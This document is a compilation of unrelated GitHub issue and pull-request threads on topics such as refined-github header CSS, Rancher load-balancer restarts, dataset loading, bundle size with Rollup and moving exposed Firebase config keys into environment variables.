Yea, I shimmed this fix in when RGH redid the feature last time, as it was horribly broken on GHE. Until GHE adds support for the full page width header, I'm not sure what to do. I don't want to support two versions of the code as each GHE version will be slightly different. What would you like to see happen?

maybe if you're on GHE, while they support full header, do not display "less than a minute ago" to gain spaces, that should fix it no ?

Since this feature only moves a pre-existing item, I'd suggest to just disable it for the time being.

As for the fix, it looks like it’s missing position:absolute because normally the bar should not affect the layout.
One element is the position holder and it’s 0px wide with position:relative and then the bar is inside with with position:absolute; right:0
Can you paste here the HTML of the whole header? Without the branches bar is fine

Sure, here's the gist:
https://gist.github.com/tristanbes/22f287a5bb2896810a3f302c68810502

It looks like the position is correct, but my guess is that this selector isn't being applied (or position: absolute is overridden)
https://github.com/sindresorhus/refined-github/blob/1e631d2624916afc4a3afeeb6e1f675bda50e9ee/source/features/recently-pushed-branches-enhancements.css#L7-10

Couldn't this be easily solved by expanding the header to be full width!?

Couldn't this be easily solved by expanding the header to be full width!?

Yes and eventually GHE will be have the same header as GH and it will just work. I personally have no problem with the way the feature works on GHE, is it 100% ideal? No, but is it better compared to the feature being disabled? Yes. If someone disagrees, then they can disable it or offer a minimal patch to make it look better.
I will take a look at @bfred-it's suggestion on Monday, but I'm 99% sure I tried that originally and it was worse than the current state.

I agree that overriding the max-width of the header seems like the easiest solution.
.Header .container-lg {
    max-width: none
}

We’re not gonna drop max-width because that’s an unrelated changed and only solves the problem if your window is wide enough.
That position:static is exactly the issue. Can you take a screenshot of what it looks like without it?

We’re not gonna drop max-width because that’s an unrelated changed and only solves the problem if your window is wide enough.

Sorry, I meant ideally we'd fix the absolute positioning and the header width.
With...
/* Fix positioning on GHE */
.rgh-recently-pushed-branches.enterprise [data-url$="recently_touched_branches_list"] .mb-3 {
    top: -1px;
}

it looks like:

Without the top: -1px;, it's a bit too high.

Ok 🙂


Local api?

I'm searching for solutions a house I'll be building soon, there's not a lot of them really. Is it possible tech-controllers have a local api instead of going via their cloud?

Unfortunately I did not find a way to access local API for tech-controllers and they didn't provide support even with this integration. This integrations is only via tech-controllers cloud API.

Did you ask then about it? :)


Add EC:<IP_ADDRESS> xref to GO:0097363

Hi, can you add this xref:
EC:<IP_ADDRESS> (Protein O-GlcNAc transferase)
https://enzyme.expasy.org/EC/<IP_ADDRESS>
to this GO term please:
id: GO:0097363
name: protein O-GlcNAc transferase activity

Thanks!


Adding a new file for understanding of Inheritance in CPP

Description
Since CPP is an integral part of Object Oriented Language, its understanding for any learner is very important.
This file will contain all aspects of inheritance:

Inheritance and its different types
Inheritance Syntax and Visibility Mode
Single Inheritance
Protected , Public and Private access Modifier
Multilevel Inheritance
Multiple Inheritance
Ambiguity resolution
Virtual Base class
Constructors In derived Class
Initialization list
--- GSSOC22 Contributor Sanya Gera

Domain
CPP
Type of Contribution
Addition
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of LearnCPP.

/assign


CDC: Add caveat callouts to tutorial / enterprise pages

Add callout(s) to tutorial and enterprise CDC pages to ensure users know the feature is still being improved/developed.
@mwang1026 - are we considering CDC to be a beta feature? Here's our beta warning:

This is a beta feature. It is currently undergoing continued testing. Please file a Github issue with us if you identify a bug.

Met with Michael. He'll sync with SEs to see if the Known Limitations section is enough or if we should add more language around "CDC was built for a single use case and please file an issue if you want to use it for something else."


[stable/prometheus-operator] Fix wrong CRD links

Signed-off-by: Mikhail Naletov<EMAIL_ADDRESS>
Is this a new chart
No
What this PR does / why we need it:
CRD's links has been changed in coreos/prometheus-operator repo.
Which issue this PR fixes
(optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged)

fixes #

Special notes for your reviewer:
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md
[x] Title of the PR starts with chart name (e.g. [stable/mychartname])

/retest

/lgtm


chore: Enables more tests

Description

Rollback / Rollforward Procedure

[ ] Roll Forward
[ ] Roll Back

:tada: This PR is included in version 1.4.4 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


fix: Add types from vite plugin instanbul

The interface InstanbulOptions now extends InstabulPluginOptions from the vite plugin instanbul.
This makes available more types when using this plugin in the storybook config with typescript.

@yannbf Can you check this? It's a small change, so I don't think there isn't any problem.

@yannbf I did what you asked and also modified istanbul from addonoptions so that it can be an union type. It can either have the options for the babel plugin or the vite plugin.


Add ColorPicker component

Proposed Changes
Adds a new component which display a color picker, using react-color: https://casesandberg.github.io/react-color/
It's synched with an hidden "InputConnected" so that it's possible to retrieve the currently selected color from the state
Potential Breaking Changes

None that I know of ;)

Acceptance Criteria

[x] The proposed changes are covered by unit tests
[x] The potential breaking changes are clearly identified
[x] README.md is adjusted to reflect the proposed changes (if relevant)

Codecov Report

Merging #1277 into master will decrease coverage by 0.02%.
The diff coverage is 94.66%.

@@            Coverage Diff             @@
##           master    #1277      +/-   ##
==========================================
- Coverage   99.45%   99.42%   -0.03%
==========================================
  Files         358      360       +2
  Lines        8978     9071      +93
  Branches     2130     2141      +11
==========================================
+ Hits         8929     9019      +90
- Misses         49       52       +3

Impacted Files
Coverage Δ

...r/src/components/color-picker/ColorPicker.spec.tsx
100% <100%> (ø)

...-vapor/src/components/color-picker/ColorPicker.tsx
87.87% <87.87%> (ø)

packages/react-vapor/src/components/svg/Svg.tsx
100% <0%> (ø)
:arrow_up:

...ckages/react-vapor/src/components/drop/DropPod.tsx
96.96% <0%> (+0.3%)
:arrow_up:

packages/react-vapor/src/animations/SlideY.tsx
100% <0%> (+2.17%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f20ffbe...ea0195c. Read the comment docs.

🤔

🤔

Hum, you are right, there seems to be a problem with the example if you load another page first, then switch to the ColorPicker example, it returns undefined.
If you only load the example page first, it's fine. I'll investigate.

I've had to revert some UT to use mount instead of shallow since those particular tests are interested in looking at the actual "state" being changed, which requires full component lifecycle.


feature request: chrome web app

Would it be possible to make this a Chrome web app sometime in the future since this is built with web technologies already? Would be really awesome to have this as an alternative to the Secure Shell web app.

Related to #129

#129


2.0.0-preview targeting .NET Standard 2.0 instead of 1.6

First and foremost, thank you for working towards a .NET Standard release.
I have to ask this question though. Why is the new 2.0.0-preview targeting .NET Standard 2.0 and not .NET Standard 1.6?
None of it's dependencies requires 2.0 and most importantly the Microsoft.Azure.DocumentDB.Core doesn't target 2.0 either. It targets .NET Standard 1.6. It looks likes an inconsistency and a limitation that will confuse.
If there is some other reason behind this choice we'd love to know it, if that's something you could share.
Again, thanks for releasing this.

@Elfocrash : We wanted to see if many people ask for .NET Standard 1.6 or they will prefer .Net Standard 2.0 as that's the latest and greatest, no other reason. All our new Cosmos DB packages like Changefeed Processor and Table that came out within the last year only have .Net Standard 2.0, so we wanted to be consistent. If we see good interest for .Net Standard 1.6 for Bulk Executor, we will provide one.

It makes perfect sense and I do agree that preferring .NET STANDARD 2.0 is definitely a step in the right direction.
Thanks @rnagpal!


Maximum width for editor tab

Would be nice to have "maximum widths" for each of the editor tabs, especially if you have long file names.

https://github.com/Microsoft/vscode/issues/17775


Reformat: use dimensions function instead of grid.len()...

Use Game:: dimensions(&self) This function is not being used. It should be used to check for in_bounds and for grid access in general.
Originally posted by @vicentevieytes in https://github.com/vicentevieytes/conways-game-of-life/pull/4#discussion_r1678330316

closed on https://github.com/vicentevieytes/conways-game-of-life/pull/4


Current work

Hi...I thought you lost interest and didn't make more pull requests. At the end of last year I made some more changes. Input is now partly handled and stuff like that....This one is what I had at the end of last year. Maybe it is at least partly useful.
I currently don't have time to really invest more into this and clean it up but I thought I should share it anyway (not really cleaned up...some debug messages left).

@m0ppers There are conflicts with merging.Also GitHub notifications didn't seem to work so I didn't see this


tweak format of project identifiers in deploy

Cobus pointed out that the @workspace/slug format we were using looks a lot like our Notebook URLs, and can lead people to 404s if they try to naively create a URL from it.  I'm open to other formats though, including not making the change if you want to debate it with Cobus.

@mythmon please merge?

Ah, sorry. I missed that Matt approved this.


[style-guide] note that openthread/config.h must appear first

Resolves #2061.

The only other one I have questions about is the "openthread-core-config.h"
That is something a platform can use to override and it does not seem to be included correctly in a few places.

@DuaneEllis-TI, updated to include openthread-core-config.h.  Please review.


load_dataset error

Describe the bug
Why does the program get stuck when I use load_dataset method, and it still gets stuck after loading for several hours? In fact, my json file is only 21m, and I can load it in one go using open('', 'r').
Steps to reproduce the bug

pip install datasets==2.19.2
from datasets import Dataset, DatasetDict, NamedSplit, Split, load_dataset
data = load_dataset('json', data_files='train.json')

Expected behavior
It is able to load my json correctly
Environment info
datasets==2.19.2

Hi, @lion-ops.
In our Continuous Integration we have many tests on loading JSON files and all of them work properly.
Could you please share your "train.json" file, so that we can try to reproduce the issue you have?

Hi, @lion-ops.
In our Continuous Integration we have many tests on loading JSON files and all of them work properly.
Could you please share your "train.json" file, so that we can try to reproduce the issue you have?

Thank you for your reply. I can load it normally in another server. Is it possible that the disk of my server is a network disk in the LAN, so it will be downloaded from the LAN and get stuck?


Rancher LB returns 503 after a container restart

Rancher Version:
1.0.0
Docker Version:
1.11.0
OS:
Debian 8.3
Steps to Reproduce:

Create a new stack
Add a (web)service
Create a Rancher LB and connect it to the service created in step 2
Start the whole stack
The haproxy.cfg file is correct and the service is available behind the LB
Click the restart button of the service container

Results:
The service is unavailable behind the LB.
haproxy.cfg:
global
	log <IP_ADDRESS> local0
    	log <IP_ADDRESS> local1 notice
        maxconn 4096
        maxpipes 1024
	chroot /var/lib/haproxy
	user haproxy
	group haproxy
	daemon

defaults
	log	global
	mode	tcp
	option	tcplog
        option  dontlognull
        option  redispatch
        option http-server-close
        option forwardfor
        retries 3
        timeout connect 5000
        timeout client 50000
        timeout server 50000
	errorfile 400 /etc/haproxy/errors/400.http
	errorfile 403 /etc/haproxy/errors/403.http
	errorfile 408 /etc/haproxy/errors/408.http
	errorfile 500 /etc/haproxy/errors/500.http
	errorfile 502 /etc/haproxy/errors/502.http
	errorfile 503 /etc/haproxy/errors/503.http
	errorfile 504 /etc/haproxy/errors/504.http

listen default
	bind *:42

Expected:
The service should be available behind the LB and the haproxy.cfg file should be correctly updated.
On the other hand, if you use the stop button and wait for the stack to heal, it works as expected.

I can confirm to have seen this as well.

Able to reproduce this issue as well.
When we  trigger any other config update to Lb service , by stopping other containers in the service / scaling up service , the container that was restarted gets reprogrammed in the haproxy.

@soumyalj , automation run relating to restarting LB targets should report success now.

Verified the fix in master.


Variables missing in L1b

Retrieving L1b data the following variables are missing compared to when you run calibrations locally (see: https://github.com/innosat-mats/MATS-L1-processing/issues/106#issuecomment-1418714171)
Some of these are missing cause they have removed the spaces (or changed name?) For example, you get GAINmode instead of GAIN mode. Some variables however seem to be missing, I have indicated at least some of these. Any other that should come through?
File
EXP Nanoseconds
WDW Mode
WDW InputDataWindow
NCBIN FPGAColumns
NCBIN CCDColumns
GAIN Mode
GAIN Timing
GAIN Truncation
BC
ImageFileName
ImageData
Warnings
Errors
IMAGE
channel
flipped
id
temperature_ADC
temperature
temperature_HTR
CCDunit
image_calibrated
image_calibrated comes out named ImageCalibrated

Its unfortunately a bit of a chaos. But for the future all data coming out of l1a processing should not have spaces. And then I think we need to sit down and figure out what variables we want included in the l1b data.

For Andreas
We had a meeting on Friday and agreed the following
In addition to the new variables defined in 1 of 4 tasks
Lat/Lon for track
#6
We would like the following variable to follow along from l1a
channel, flipped, Temperature,
we noted that some had got new names  eg errors became calibrationerror. but we can live with that :-)

channel, flipped, Temperature,

Does this refer to an attribute called Temperature or to one or all of temperature, temperature_ADC and/or temperature_HTR?

I think they mean the one in ccditem['Temperature']

I think they mean the one in ccditem['Temperature']

I think they mean the one in ccditem['Temperature']

As far as I can tell there is no such item.


Ability to export the html content

Great job,
I wanna ask if I can export the html that I scraped?
Thanks in advance

Hi,
of a specific element or the whole page? For the whole page "page.Content()" should work and for elements you can use "page.InnerHTML("foo")

Thanks for answering,
Both options is what I want


Reduce bundlesize using Rollup

Hey,
First up thanks for this project! I was thinking of rolling something like this and discovered this while researching pre-existing libraries. It turned out to be exactly what I wanted (and a little bit more) so thanks!
I was looking at the outputted bundle and couldn't help but notice that there's a few optimisations which could be applied to shrink the bundle size (specifically around duplication).
I've experimented with rollup (as this is what I'm familiar with) and looked through the historic issues and came across a short discussion here in PR 101
I just wanted to reopen that discussion after experimenting with rollup on this project (Happy to PR it in if you'd like).
Perks of using rollup:
ES module build
Allows for better tree shaking in downstream projects
Bundle Visualiser
Produces a pretty report on bundle contents
Uglify & Minify
Shrinks bundle size
Bundle Size
Finally in my opinion the most valuable:

Tool
Uncompressed
gzip

Babel (Current)
44 kb
7.19 kb

Rollup (with uglify)
12 kb
3.87 kb

Rollup (without uglify)
24 kb
4.9 kb

I think this can be considered resolved since the latest package includes an ES modules version in dist


Improve evidence writing function

We want to have a single evidence writer function that:

[ ] Can read local files as well as remote files
[ ] Can write a single JSON file locally as well in a remote location
[ ] is implemented uniformly across all parsers.

This will be handled in a bigger task scoped in #1574


Fixed publicly exposed Firebase Config (Admin) APIs

The Need:
Found a very crucial and critical issue in the project and i.e. publicly exposing of ### Firebase Admin APIs (severity: HIGH) in every client js files where firebase config JSON is created. The project structure setup wasn't too optimized for setting up Firebase services in future ### (modularity level: LOW) which can bring a lot of mess especially when scaling or refactoring the project.
The Fix:
Separating all the APIs and AuthKeys from the Client-side JS files by creating a new Environment Variable (.env) file and putting all APIs and Keys there. Replacing the values of keys inside firebase config JSON with values of .env file
The Problem
require and import for importing local modules doesn't work at Client-side JS
So can't continue importing .env file at Client-side JS files inside public folder
The Solution:

Established a standalone ExpressJs server at PORT at 8080.
Created a new folder named as 'public' inside main project folder
Moved all static HTML, CSS, JS, Images, Assets, etc. to public folder
Used path package to join __dirname with public route
Used ExpressJs default middleware static to serve all the static resources from public folder to Client
Moved all necessary Access Tokens, APIs, Auth Keys to .env file created
Added dotenv package support to use .env file

What's Next?
Still, there is a need to use those environment variables replacing those publicly exposed Firebase APIs. Now, in order to use the environment variables inside firebase config JSON you need to think of it. There can be multiple ways but some I would suggest are:

Moving Project to Reactjs (Save & Secure, if there is no special need to build and test RESTful APIs i.e. ExpressJs & NodeJs - Firebase integrated very easily using React, you just need to use React.useState() in order to map values to Firebase server)
Using Firebase Admin SDK at server-side (ExpressJs & NodeJs) if you want to continue building RESTful APIs (HTTP methods such as POST, GET)

By implementing any of above suggested solutions you can freely use .env file in your project.
I already stated the reason above why importing .env file won't work for current project state.
The error severity is HIGH so fixing this issue asap is very necessary in order to secure your associated Google Firebase account.
Thanks.

@sshehrozali Thank you so much for proposing such a great solution! ✨💯

@sshehrozali thank you for spotting the error. Currently, I am not working on this project and website is in testing mode. I love your suggested solutions. I will implement it but not now.


fix(api-v2): Change link value comment

This PR fixes the case where the client changes only the comment on a LinkValue.
Fixes #1574.

@tobiasschweizer It looks like @lrosenth doesn't have time to review this. Should I ask someone else?

I can do it, is Thursday ok?

OK thanks!

That looks paranoid enough to me ;-)

That's high praise. :)